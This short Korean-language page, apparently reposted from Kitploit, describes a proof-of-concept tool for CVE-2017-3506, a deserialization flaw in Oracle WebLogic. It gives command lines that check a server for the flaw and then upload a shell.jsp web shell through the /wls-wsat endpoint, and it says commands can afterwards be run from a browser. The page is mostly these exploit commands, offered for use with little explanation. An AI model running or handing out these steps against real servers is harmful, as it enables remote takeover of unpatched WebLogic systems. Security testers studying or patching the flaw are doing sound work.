CVE-2017-3506 — CVE-2017-3506 | Kitploit

이것은 CVE-2017-3506(Weblogic XMLDecoder Serialization)의 PoC입니다.

java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001

check

java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

GetShell

그런 다음 브라우저를 통해 명령을 실행할 수 있습니다:

execut_command

CVE-2017-3506